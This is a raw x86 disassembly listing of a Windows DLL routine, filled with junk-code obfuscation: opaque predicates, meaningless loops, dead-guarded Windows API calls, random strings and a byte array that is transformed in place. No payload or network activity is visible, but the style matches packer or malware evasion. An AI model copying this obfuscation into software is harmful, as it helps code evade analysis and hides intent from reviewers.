mov dword [ebp - 0x90c], 6
cmp dword [ebp - 0x90c], 0
je 0x10027b25
jmp 0x10027b27
jmp 0x10027afa
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x10027b41
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov ecx, dword [ebp - 0x344]
mov word [ebp + ecx*2 - 0xcb4], ax
jmp 0x10027ace
mov dword [ebp - 0x28], 0x47dfa860
mov dword [ebp - 0x140], 0xab72b21a
mov dword [ebp - 0xbb8], 0x20452a26
mov dword [ebp - 0xbb4], 0x20452a26
mov dword [ebp - 0xbb0], 0x20452a26
mov dword [ebp - 0xbac], 0x20452a26
lea ecx, [ebp - 0x3ad]
call fcn.10002073
push eax
lea eax, [ebp - 0xba8]
push eax
lea eax, [ebp - 0xbb8]
push eax
lea ecx, [ebp - 0xf18]
call fcn.10002076
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3f0]
call fcn.10002022
mov dword [ebp - 4], 0x1b
push 3
lea ecx, [ebp - 0x884]
call fcn.10001fe6
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0xdc8], 0xfffffff6
mov dword [ebp - 0x27c], 0
jmp 0x10027bff
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 3
jge 0x10027c21
push dword [ebp - 0x27c]
lea ecx, [ebp - 0x884]
call fcn.10002064
mov dword [eax], 0xa13b2885
jmp 0x10027bf2
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
push 0
lea ecx, [ebp - 0x884]
call fcn.10002064
mov esi, eax
push 3
lea ecx, [ebp - 0x3f0]
call fcn.10002064
mov eax, dword [eax]
cmp eax, dword [esi]
jle 0x10027c55
mov dword [ebp - 0x56c], 1
jmp 0x10027c5c
and dword [ebp - 0x56c], 0
push 0
lea ecx, [ebp - 0x3f0]
call fcn.10002064
mov ecx, dword [ebp - 0x56c]
cmp ecx, dword [eax]
jge 0x10027c7f
mov dword [ebp - 0x858], 1
jmp 0x10027c86
and dword [ebp - 0x858], 0
cmp dword [ebp - 0x858], 4
jb 0x10027c9b
mov dword [ebp - 0x574], 1
jmp 0x10027ca2
and dword [ebp - 0x574], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x574]
cmp eax, dword [ebp - 0x140]
jle 0x10027cbf
mov dword [ebp - 0x6f4], 1
jmp 0x10027cc6
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x6f4]
jge 0x10027cdd
mov dword [ebp - 0x57c], 1
jmp 0x10027ce4
and dword [ebp - 0x57c], 0
push 1
lea ecx, [ebp - 0x3f0]
call fcn.10002064
mov ecx, dword [ebp - 0x57c]
cmp ecx, dword [eax]
jge 0x10027d07
mov dword [ebp - 0x7b4], 1
jmp 0x10027d0e
and dword [ebp - 0x7b4], 0
cmp dword [ebp - 0x7b4], 0
jle 0x10027d23
mov dword [ebp - 0x584], 1
jmp 0x10027d2a
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x584]
jne 0x10027d41
mov dword [ebp - 0x6fc], 1
jmp 0x10027d48
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x6fc], eax
je 0x10027d5f
mov dword [ebp - 0x58c], 1
jmp 0x10027d66
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0x58c], eax
jg 0x10027ea4
mov dword [ebp - 0x148], 4
push 0
lea ecx, [ebp - 0x884]
call fcn.10002064
mov esi, eax
push 1
lea ecx, [ebp - 0x3f0]
call fcn.10002064
mov eax, dword [eax]
cmp eax, dword [esi]
jne 0x10027db0
mov dword [ebp - 0x594], 1
jmp 0x10027db7
and dword [ebp - 0x594], 0
cmp dword [ebp - 0x28], 0x4ed25e42
jg 0x10027dcc
mov dword [ebp - 0x814], 1
jmp 0x10027dd3
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0x814]
sub eax, 0x9080
mov dword [ebp - 0x140], eax
je 0x10027e02
cmp dword [ebp - 0x140], 0
je 0x10027e02
mov dword [ebp - 0x704], 1
jmp 0x10027e09
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x594]
sub eax, dword [ebp - 0x704]
cmp dword [ebp - 0x148], eax
jg 0x10027e29
mov dword [ebp - 0x59c], 1
jmp 0x10027e30
and dword [ebp - 0x59c], 0
mov esi, dword [ebp - 0x59c]
add esi, 5
push 3
lea ecx, [ebp - 0x3f0]
call fcn.10002064
mov dword [eax], esi
mov dword [ebp - 0x148], 4
jmp 0x10027e61
mov eax, dword [ebp - 0x148]
dec eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0xffffffe3
jl 0x10027e9f
mov dword [ebp - 0xb28], 0xffff
push 1
lea ecx, [ebp - 0x3f0]
call fcn.10002064
cmp dword [eax], 0
je 0x10027e88
jmp 0x10027e9f
mov esi, dword [ebp - 0xb28]
push 3
lea ecx, [ebp - 0x3f0]
call fcn.10002064
mov dword [eax], esi
jmp 0x10027e54
jmp 0x10028086
mov dword [ebp - 0x5b4], 0xfffffffc
mov dword [ebp - 0x8c], 0xdc32c752
mov dword [ebp - 0x28], 0x1c
jmp 0x10027ec8
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xb
jle 0x10027ee4
push 3
lea ecx, [ebp - 0x3f0]
call fcn.10002064
cmp dword [eax], 0
je 0x10027ee2
jmp 0x10027ee4
jmp 0x10027ec1
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xdd0], eax
mov esi, dword [ebp - 0x140]
push 0
lea ecx, [ebp - 0x884]
call fcn.10002064
sub esi, dword [eax]
cmp esi, 0x6bbb
jle 0x10027f19
mov dword [ebp - 0x7bc], 1
jmp 0x10027f20
and dword [ebp - 0x7bc], 0
cmp dword [ebp - 0x7bc], 0xa2181788
ja 0x10027f38
mov dword [ebp - 0x5a4], 1
jmp 0x10027f3f
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x5a4], eax
jge 0x10027f59
mov dword [ebp - 0x70c], 1
jmp 0x10027f60
and dword [ebp - 0x70c], 0
cmp dword [ebp - 0x70c], 1
jne 0x10027f75
mov dword [ebp - 0x5ac], 1
jmp 0x10027f7c
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x5ac]
jg 0x10027f96
mov dword [ebp - 0x860], 1
jmp 0x10027f9d
and dword [ebp - 0x860], 0
mov dword [ebp - 0x5b4], 0x6a8
mov eax, dword [ebp - 0x860]
add eax, 7
mov ecx, dword [ebp - 0x5b4]
imul ecx, eax
cmp ecx, 0xfff8
ja 0x10027fcd
mov dword [ebp - 0x714], 1
jmp 0x10027fd4
and dword [ebp - 0x714], 0
push 1
lea ecx, [ebp - 0x884]
call fcn.10002064
mov ecx, dword [ebp - 0x714]
cmp ecx, dword [eax]
jl 0x10027ff7
mov dword [ebp - 0x5bc], 1
jmp 0x10027ffe
and dword [ebp - 0x5bc], 0
cmp dword [ebp - 0x5bc], 0
je 0x1002804d
mov eax, 0x54d1
test eax, eax
je 0x1002804d
mov dword [ebp - 0x8c], 0
jmp 0x10028029
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 4
jge 0x1002804b
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x3f0]
call fcn.10002064
mov dword [eax], 0xdc28bf2f
jmp 0x1002801c
jmp 0x10028086
mov dword [ebp - 0x28], 0
jmp 0x1002805d
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jg 0x10028086
mov byte [ebp - 0x114], 0
movzx eax, byte [ebp - 0x114]
test eax, eax
je 0x10028084
push 0x250e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
jmp 0x10028056
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x884]
call fcn.10002048
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f0]
call fcn.10002048
cmp dword [ebp - 0x658], 0
je 0x1002b310
mov dword [ebp - 0x5c], 0xfffffffd
mov dword [ebp - 0xbc], 0x4173
mov dword [ebp - 0xa88], 9
mov dword [ebp - 0x5c], 0
jmp 0x100280dc
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xfffffff8
jg 0x10028100
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x100280fe
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
jmp 0x100280d5
cmp dword [ebp - 0xbc], 0x38c08872
jg 0x100281d3
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x5c]
je 0x10028127
mov dword [ebp - 0x7c4], 1
jmp 0x1002812e
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x7c4]
jne 0x10028145
mov dword [ebp - 0x5c4], 1
jmp 0x1002814c
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x5c4], eax
jle 0x10028163
mov dword [ebp - 0x71c], 1
jmp 0x1002816a
and dword [ebp - 0x71c], 0
cmp dword [ebp - 0x71c], 0x3f0d
jge 0x10028182
mov dword [ebp - 0x5cc], 1
jmp 0x10028189
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x5cc]
neg eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0xbc]
je 0x100281ab
mov dword [ebp - 0x914], 1
jmp 0x100281b2
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xdd8], eax
cmp dword [ebp - 0xbc], 0
je 0x100281d3
mov dword [ebp - 0x81c], 1
jmp 0x100281da
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x81c], eax
je 0x100281f4
mov dword [ebp - 0x5d4], 1
jmp 0x100281fb
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x5d4], eax
jle 0x10028215
mov dword [ebp - 0x724], 1
jmp 0x1002821c
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x724]
mov dword [ebp - 0xa88], eax
mov dword [ebp - 0x130], 1
push 2
lea ecx, [ebp - 0xe48]
call fcn.10001fe6
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x304], 0
jmp 0x1002825f
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 2
jge 0x1002827e
push dword [ebp - 0x304]
lea ecx, [ebp - 0xe48]
call fcn.10002064
or dword [eax], 0xffffffff
jmp 0x10028252
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x130], 0
jmp 0x100282a4
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jg 0x10028342
mov dword [ebp - 0x284], 0
jmp 0x100282ca
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 3
jge 0x100282e6
mov eax, dword [ebp - 0x284]
mov dword [ebp + eax*4 - 0xb64], 0x37d45db3
jmp 0x100282bd
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xb64], 0
jmp 0x10028314
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb64]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb64], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb64], 1
jg 0x1002833d
mov dword [ebp - 0x5dc], 0xe4fc2285
mov eax, dword [ebp - 0x5dc]
dec eax
mov dword [ebp - 0x5dc], eax
jmp 0x100282f9
jmp 0x10028297
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe48]
call fcn.10002048
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xcc], 0xfffffff6
mov dword [ebp - 0x91c], 0x4ab274bf
push 4
lea ecx, [ebp - 0xc20]
call fcn.10001fe6
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x384], 0
jmp 0x1002839c
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 4
jge 0x100283be
push dword [ebp - 0x384]
lea ecx, [ebp - 0xc20]
call fcn.10002064
mov dword [eax], 0xd208
jmp 0x1002838f
cmp dword [ebp - 0xc4], 0
jne 0x100283ed
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
imul eax, dword [ebp - 0xc4]
test eax, eax
jne 0x100283ed
and dword [ebp - 0x7cc], 0
jmp 0x100283f7
mov dword [ebp - 0x7cc], 1
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x91c], eax
mov dword [ebp - 0xc4], 0
jmp 0x1002841c
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 3
jg 0x100284c8
mov dword [ebp - 0x17c], 0x21a3
mov dword [ebp - 0x17c], 0xfffffff6
mov dword [ebp - 0x17c], 3
jmp 0x10028456
mov eax, dword [ebp - 0x17c]
dec eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jl 0x100284c3
mov dword [ebp - 0xcc], 0
jmp 0x10028478
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 4
jge 0x1002849a
push dword [ebp - 0xcc]
lea ecx, [ebp - 0xc20]
call fcn.10002064
mov dword [eax], 0x39e
jmp 0x1002846b
mov byte [ebp - 0x116], 0
movzx eax, byte [ebp - 0x116]
test eax, eax
je 0x100284c1
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
jmp 0x10028449
jmp 0x1002840f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc20]
call fcn.10002048
mov byte [ebp - 0x1a8], 5
mov byte [ebp - 0x1a7], 0x36
mov byte [ebp - 0x1a6], 7
mov byte [ebp - 0x1a5], 0x2e
mov byte [ebp - 0x1a4], 8
mov byte [ebp - 0x1a3], 0x25
mov byte [ebp - 0x1a2], 2
mov byte [ebp - 0x1a1], 0x10
mov byte [ebp - 0x1a0], 3
mov byte [ebp - 0x19f], 0x24
mov byte [ebp - 0x19e], 4
mov byte [ebp - 0x19d], 0x22
mov byte [ebp - 0x19c], 2
mov byte [ebp - 0x19b], 0xcf
mov byte [ebp - 0x19a], 0xf3
mov byte [ebp - 0x199], 6
mov byte [ebp - 0x198], 0x11
mov byte [ebp - 0x197], 1
mov byte [ebp - 0x196], 6
mov byte [ebp - 0x195], 9
mov byte [ebp - 0x194], 1
mov byte [ebp - 0x193], 0xb
mov byte [ebp - 0x192], 1
mov byte [ebp - 0x191], 0
mov byte [ebp - 0x190], 0x22
mov byte [ebp - 0x18f], 0xd
mov byte [ebp - 0x18e], 0x34
mov byte [ebp - 0x18d], 0xc
mov byte [ebp - 0x18c], 0
mov byte [ebp - 0x18b], 0xa
mov byte [ebp - 0x18a], 1
mov dword [ebp - 0xde0], 1
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x100285d4
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov byte [ebp - 0x118], 0
movzx eax, byte [ebp - 0x118]
test eax, eax
je 0x100285ee
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1a8]
and eax, 0x59
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1a8]
or ecx, 0x59
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1a8]
mov byte [ebp + eax - 0x8b0], cl
mov dword [ebp - 0x44], 0x950ba1bf
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x5e4], 0x502d
mov dword [ebp - 0x924], str.lpgrv_pknjjxkzn_vwzspgdr_piuvmdg_zqe_ekrve
cmp dword [ebp - 0x5e4], 0x50b4
jle 0x10028771
and dword [ebp - 0x294], 0
jmp 0x1002866f
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x7d84
jge 0x10028767
and dword [ebp - 0x34c], 0
jmp 0x10028695
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0x2c06
jge 0x10028762
and dword [ebp - 0x28c], 0
jmp 0x100286bb
cmp dword [ebp - 0x28c], 0x7f29
jge 0x1002875d
and dword [ebp - 0x30c], 0
jmp 0x100286e1
cmp dword [ebp - 0x30c], 0x653a
jge 0x10028758
jmp 0x10028688
jmp 0x10028662
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov dword [ebp - 0xd4], 0xd7ba9668
mov dword [ebp - 4], 0x1f
cmp dword [ebp - 0x5e4], 0x4f30
jge 0x1002879a
push dword [ebp - 0x924]
call fcn.10047084
pop ecx
jmp 0x100287b6
or dword [ebp - 4], 0xffffffff
jmp 0x100287c0
mov dword [ebp - 0xbe0], 1
mov dword [ebp - 0xbdc], 1
mov dword [ebp - 0xbd8], 1
mov dword [ebp - 0xbd4], 1
lea ecx, [ebp - 0x3b5]
call fcn.10002073
push eax
lea eax, [ebp - 0xbd0]
push eax
lea eax, [ebp - 0xbe0]
push eax
lea ecx, [ebp - 0xf38]
call fcn.10002076
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc2c]
call fcn.10002022
mov dword [ebp - 4], 0x21
mov dword [ebp - 0xa98], 0xd60
mov dword [ebp - 0x854], 0xee7b
mov dword [ebp - 0x29c], 0
jmp 0x10028851
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 2
jge 0x1002886d
mov eax, dword [ebp - 0x29c]
mov dword [ebp + eax*4 - 0x404], 9
jmp 0x10028844
cmp dword [ebp - 0x44], 0
je 0x1002887c
or eax, 0xffffffff
jne 0x100289e7
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0xd4]
jge 0x1002889a
mov dword [ebp - 0xa90], 1
jmp 0x100288a1
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xde8], eax
mov eax, 0x6c8a
test eax, eax
je 0x100288c5
mov dword [ebp - 0x5f4], 1
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x5f4], eax
jge 0x10028a08
mov dword [ebp - 0xd24], 2
mov dword [ebp - 0xea0], 0x335c22c9
mov dword [ebp - 0x2f8], 0xbf35dd75
push 1
lea ecx, [ebp - 0xe88]
call fcn.10001fe6
mov dword [ebp - 4], 0x3e
mov dword [ebp - 0xd2c], 0x2f00
push 2
lea ecx, [ebp - 0xc68]
call fcn.10001fe6
mov byte [ebp - 4], 0x3f
mov dword [ebp - 0xdec], 0xfffffff7
mov dword [ebp - 0x34], 0
jmp 0x1002b377
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1002b38d
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xa50], 8
jmp 0x1002b370
mov dword [ebp - 0x34], 0
jmp 0x1002b39d
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x1002b3b6
push dword [ebp - 0x34]
lea ecx, [ebp - 0xe88]
call fcn.10002064
and dword [eax], 0
jmp 0x1002b396
mov dword [ebp - 0x34], 0
jmp 0x1002b3c6
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1002b3df
push dword [ebp - 0x34]
lea ecx, [ebp - 0xc68]
call fcn.10002064
and dword [eax], 0
jmp 0x1002b3bf
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x1002b48d
mov dword [ebp - 0xa3c], 6
mov dword [ebp - 0x2f8], 0
jmp 0x1002b40d
mov eax, dword [ebp - 0x2f8]
dec eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0xfffffff4
jl 0x1002b488
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa50]
cmp eax, dword [ebp - 0xa3c]
jle 0x1002b437
mov dword [ebp - 0x660], 1
jmp 0x1002b43e
and dword [ebp - 0x660], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x660]
mov dword [ebp + eax - 0xa50], ecx
mov byte [ebp - 0x117], 0
movzx eax, byte [ebp - 0x117]
test eax, eax
je 0x1002b483
push 0
push 0x1196
push 0x214a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
jmp 0x1002b400
jmp 0x1002b547
mov dword [ebp - 0xa9c], 0x1ad5
mov dword [ebp - 0xd34], 0xb6a6
mov dword [ebp - 0xea8], 0x1597618d
mov dword [ebp - 0xd3c], 9
push 3
lea ecx, [ebp - 0xe78]
call fcn.10001fe6
mov byte [ebp - 4], 0x40
mov dword [ebp - 0x300], 0
jmp 0x1002b4df
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 3
jge 0x1002b501
push dword [ebp - 0x300]
lea ecx, [ebp - 0xe78]
call fcn.10002064
mov dword [eax], 0xfffffff6
jmp 0x1002b4d2
mov eax, dword [ebp - 0xa9c]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xa50], eax
push 1
lea ecx, [ebp - 0xc68]
call fcn.10002064
mov dword [ebp - 0x668], eax
mov eax, dword [ebp - 0x668]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x668]
mov dword [ecx], eax
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xe78]
call fcn.10002048
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0xc68]
call fcn.10002048
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe88]
call fcn.10002048
cmp dword [0x1044a5f0], 0
je 0x1002c6e7
mov dword [ebp - 0x8c0], 0
mov dword [ebp - 0x348], 1
mov dword [ebp - 0x308], 0
jmp 0x1002b59f
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 2
jge 0x1002b5bb
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0x154], 0x75c96dd1
jmp 0x1002b592
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x154], 0xfffffffd
jmp 0x1002b5e9
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x154], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x154], 0xffffffe8
jg 0x1002bdd5
mov dword [ebp - 0x84], 0x81d21f1e
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x54], 0x6add33d7
mov dword [ebp - 0x310], 0
jmp 0x1002b62e
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 3
jge 0x1002b64a
mov eax, dword [ebp - 0x310]
mov dword [ebp + eax*4 - 0xf10], 0xfffc
jmp 0x1002b621
cmp dword [ebp - 0x18], 0xa8db
je 0x1002b65f
mov dword [ebp - 0x670], 1
jmp 0x1002b666
and dword [ebp - 0x670], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
cmp dword [ebp - 0x670], eax
jg 0x1002b687
mov dword [ebp - 0x678], 1
jmp 0x1002b68e
and dword [ebp - 0x678], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
push 4
pop edx
shl edx, 0
mov edx, dword [ebp + edx - 0x154]
add edx, dword [ebp - 0x678]
imul edx, dword [ebp + ecx - 0x154]
imul edx, dword [ebp + eax - 0x154]
cmp edx, 0xfffd
jae 0x1002b6d1
mov dword [ebp - 0x680], 1
jmp 0x1002b6d8
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x680], eax
jg 0x1002b6fc
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x154], 0
jne 0x1002b6fc
and dword [ebp - 0x688], 0
jmp 0x1002b706
mov dword [ebp - 0x688], 1
mov eax, dword [ebp - 0x688]
sub eax, dword [ebp - 0x18]
je 0x1002b71f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x154], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
cmp eax, dword [ebp - 0x18]
jle 0x1002b73d
mov dword [ebp - 0xa48], 1
jmp 0x1002b744
and dword [ebp - 0xa48], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xdfc], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jne 0x1002b761
mov dword [ebp - 0x690], 1
jmp 0x1002b768
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x690]
sub eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jle 0x1002b782
mov dword [ebp - 0x8b8], 1
jmp 0x1002b789
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xd44], eax
cmp dword [ebp - 0x18], 1
jge 0x1002b7a4
mov dword [ebp - 0x698], 1
jmp 0x1002b7ab
and dword [ebp - 0x698], 0
cmp dword [ebp - 0x698], 0xffffffff
jae 0x1002b7c0
mov dword [ebp - 0x6a0], 1
jmp 0x1002b7c7
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x8c0]
cmp dword [ebp - 0x6a0], eax
jl 0x1002b7e1
mov dword [ebp - 0x6a8], 1
jmp 0x1002b7e8
and dword [ebp - 0x6a8], 0
cmp dword [ebp - 0x6a8], 0xe568
jge 0x1002b800
mov dword [ebp - 0x6b0], 1
jmp 0x1002b807
and dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x6b0], eax
jg 0x1002b81e
mov dword [ebp - 0x6b8], 1
jmp 0x1002b825
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x1002b843
cmp dword [ebp - 0x18], 0
jne 0x1002b843
and dword [ebp - 0x6c0], 0
jmp 0x1002b84d
mov dword [ebp - 0x6c0], 1
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x6c0]
jne 0x1002b864
mov dword [ebp - 0x6c8], 1
jmp 0x1002b86b
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x6c8]
jg 0x1002b892
mov dword [ebp - 0x6d0], 1
jmp 0x1002b899
and dword [ebp - 0x6d0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
cmp eax, dword [ebp - 0x6d0]
jle 0x1002b8ba
mov dword [ebp - 0x6d8], 1
jmp 0x1002b8c1
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x6d8]
cmp eax, dword [ebp - 0x18]
jl 0x1002bdb0
push 1
lea ecx, [ebp - 0x878]
call fcn.10001fe6
mov dword [ebp - 4], 0x41
mov dword [ebp - 0x318], 0
jmp 0x1002b901
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 1
jge 0x1002b923
push dword [ebp - 0x318]
lea ecx, [ebp - 0x878]
call fcn.10002064
mov dword [eax], 0xa52b3395
jmp 0x1002b8f4
mov dword [ebp - 0x18], 0xffffffe6
jmp 0x1002b933
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffff6
jg 0x1002bd95
mov dword [ebp - 0x54], 0
jmp 0x1002b94d
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jg 0x1002bd7d
mov dword [ebp - 0xec], 0x39ce8566
mov dword [ebp - 0x84], 0
jmp 0x1002b97a
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jg 0x1002bd78
mov dword [ebp - 0x710], 0x8b506ee4
mov dword [ebp - 0x3a0], 0xfffffff8
mov dword [ebp - 0x6e0], 0x5aec
mov dword [ebp - 0x8d0], str.fehva_dfgjqavf_rqbmufu_vbwvw_dsryzo_xrf_vqwlq_qtivedvcl_wkiawvfl_iavnuof_nfaqzdbss_bukl
cmp dword [ebp - 0x6e0], 0x5bfd
jle 0x1002bac8
and dword [ebp - 0x338], 0
jmp 0x1002b9d5
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
